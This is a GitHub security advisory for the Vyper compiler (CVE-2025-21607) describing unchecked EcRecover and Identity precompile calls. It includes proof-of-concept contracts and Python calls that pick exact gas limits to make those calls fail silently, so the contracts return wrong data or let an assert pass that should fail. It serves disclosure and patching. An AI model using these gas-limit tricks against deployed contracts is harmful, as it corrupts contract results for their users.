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Vyper Does Not Check the Success of Certain Precompile Calls

Low severity GitHub Reviewed Published Jan 14, 2025 in vyperlang/vyper • Updated Apr 24, 2025

Package

pip vyper (pip)

Affected versions

< 0.4.1

Patched versions

None

Description

Summary

When the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect.

Based on EVM's rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts.

The fix is tracked in vyperlang/vyper#4451.

Details

The relevant precompiles

EcRecover

EcRecover is used in vyper's ecrecover built-in. As the precompile consumes 3000 gas, any execution after an out-of-gas EcRecover call has at most 47 gas left.

Identity
  • The Identity precompile is used in vyper to perform memory copy operations. As its cost is variable, a variable amount of gas might be left after a failed call. The bigger the copy operation, the more gas can be left. Hence, a failed call to Identity could theoretically be followed by successful storage changes or emitted events.
  • Identity is no longer used when evm-version cancun is used (because MCOPY is used instead). In 0.4.0 cancun is default, in 0.3.10 cancun is an option, otherwise cancun is not available. As only pre-cancun versions are relevant, we don't have to consider transient storage operations succeeding a failed call to Identity.

The other precompiles

  • Calls to Sha2, ecAdd, and ecMul have success checks and have had them for a long time.
  • The precompiles modexp, ripe, blake, ecPairing, and Point Evaluation have no builtins in vyper.

PoC

In the following we provide concrete examples of incorrectly generated bytecode. These examples are not optimized, but rather Proof-of-Concepts. The list is also not exhaustive.

ecrecover use

  • Affected versions: 0.2.0 - 0.4.0
  • For older compiler versions (<=0.3.9) it behaves similarly to this older advisory. As no data is returned, the previous value of the memory word is returned to the user. Hence, any dirty bytes might be returned. Contracts with older compiler versions and ecrecover were checked.
  • For new vyper versions, the output buffer is zeroed, so when the call fails zero is returned. This is an incorrect result, but developers should anyway check for 0 as a failure case. Hence, this is unlikely to result in issues. However, we did search for such cases.
  • As mentioned above at most 47 gas is left after the failed call, hence a return is the most realistic scenario to be attacked.

Vulnerable Code:

@external
@view
def foo(hash: bytes32, v: uint256, r:uint256, s:uint256) -> address:
    return ecrecover(hash, v, r, s)

Problematic Call:

print(
    c.foo(
        binascii.unhexlify(
            "6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055"
        ),
        28,
        78616903610408968922803823221221116251138855211764625814919875002740131251724,
        37668412420813231458864536126575229553064045345107737433087067088194345044408,
    )
)  # Returns 0x9eE53ad38Bb67d745223a4257D7d48cE973FeB7A

print(
    c.foo(
        binascii.unhexlify(
            "6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055"
        ),
        28,
        78616903610408968922803823221221116251138855211764625814919875002740131251724,
        37668412420813231458864536126575229553064045345107737433087067088194345044408,
        gas=3000,
    )
)  # Returns 0x0000000000000000000000000000000000000000

Identity to copy Dynamic Arrays

  • Affected versions: 0.3.2 - 0.3.9
  • Dynamic Arrays might be copied on different occasions
  • That copy operation can fail leading to incorrect accesses afterwards

Vulnerable Code:

@external
def foo() -> uint256:
    a: DynArray[uint256, 4000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    b: DynArray[uint256, 4000] = a
    return b[0]

Problematic Call:

print(c.foo())            # Prints 2
print(c.foo(gas=170000))  # Prints 0

Identity in ABI Encoding of Returndata

  • Affected versions: 0.3.2 - 0.4.0
  • Complex types such as Dynamic array with Strings inside need to be abi encoded before being returned
  • In that return there is a memory copy which can fail

Vulnerable Code:

@external
@view
def foo(x: String[1000000], y: String[1000000]) -> DynArray[String[1000000], 2]:
    z: DynArray[String[1000000], 2] = [x, y]
    # Some code
    return z

Problematic Call:

calldata0 = "a"*10
calldata1 = "b"*1000000
c.foo(calldata0, calldata1)                   # Returns correct data
c.foo(calldata0, calldata1, gas=48_400_000)   # Returns incorrect data (only first part)

Assertion based on data copied through Identity

  • Affected versions: 0.2.0 - 0.4.0
  • An incomplete copy operation might falsify the result of a subsequent assert

Vulnerable Code:

@internal
def bar() -> uint256[3000]:
    a: uint256[3000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    return a

@external
def foo():
    s: uint256[3000] = self.bar()
    assert(s[0] == 0)

Problematic Call:

try:
    c.foo()                     # Correctly reverts
except Exception as e:
    print("Correctly reverted")
try:
    c.foo(gas=210000)           # Incorrectly succeeds
    print("Incorrectly succeeded")
except Exception:
    pass

Identity used in raw_revert

  • Affected versions: 0.3.8 - 0.4.0
  • A copy operation might appear as part of raw_revert
  • As a result the revert reason might be incorrect

Vulnerable Code:

@external
def foo(_data: Bytes[10000]):
    b: Bytes[10000] = _data
    raw_revert(b)

Problematic Call:

calldata = binascii.unhexlify("bb" * 10_000)
c.foo(calldata)       # Has correct revert reason
c.foo(calldata, gas=4_800)       # Has empty revert reason, but not out-of-gas

Identity to copy static arrays

  • Affected versions: 0.2.0 - 0.4.0
  • Vyper might perform a memory copy for static arrays, e.g. when moving them in and out of internal functions
  • As this access is especially cheap (due to the static checks) it can also happen for smaller sizes

Vulnerable Code:

@external
def foo(x: uint256[2500]) -> uint256:
    s: uint256[2500] = x
    t: uint256[2500] = s
    return t[0]

Problematic Call:

calldata = [2] + [0] * 2499
print(c.foo(calldata))              # Prints 2
print(c.foo(calldata, gas=74500))   # Prints 0

Identity to copy and return String or Bytes

  • Affected versions: 0.20 - 0.4.0
  • Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions
  • If the target buffer is later returned, incorrect data might be returned

Vulnerable Code:

@external
@view
def foo(x: String[1000000]) -> String[1000000]:
    return x

Problematic Call:

calldata = "a"*1000000
x = c.foo(calldata)                 # Returns calldata
y = c.foo(calldata, gas=8_000_000)  # Returns empty data

Identity and accessing the length of the target data

  • Affected versions: 0.3.10 - 0.4.0
  • Accessing the data is fairly cheap, making it possible for smaller data copies

Vulnerable Code:

@external
@view
def foo(x: String[1000000]) -> uint256:
    y: String[1000000] = x
    return len(y)

Problematic Call:

calldata = "a"*1000000
x = c.foo(calldata)                 # Returns correct length
y = c.foo(calldata, gas=7_929_200)  # Returns incorrect length

Identity to copy and return String or Bytes

  • Affected versions: 0.3.10 - 0.4.0
  • Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions
  • If the target buffer is later returned, incorrect data might be returned

Vulnerable Code:

@external
@view
def foo(x: String[1000000]) -> String[1000000]:
    return x

Problematic Call:

calldata = "a"*1000000
x = c.foo(calldata)                 # Returns calldata
y = c.foo(calldata, gas=8_000_000)  # Returns empty data

Impact

A contract search was conducted and yielded no significant results.

The advisory was rated a medium because the likelihood is low, but difficult to detect by source code analysis alone, and could yield unexpected results if a contract is affected by the bug.

References

@charles-cooper charles-cooper published to vyperlang/vyper Jan 14, 2025
Published to the GitHub Advisory Database Jan 14, 2025
Reviewed Jan 14, 2025
Published by the National Vulnerability Database Jan 14, 2025
Last updated Apr 24, 2025

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(31st percentile)

Weaknesses

Always-Incorrect Control Flow Implementation

The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated. Learn more on MITRE.

Improper Check or Handling of Exceptional Conditions

The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product. Learn more on MITRE.

CVE ID

CVE-2025-21607

GHSA ID

GHSA-vgf2-gvx8-xwc3

Source code

Credits

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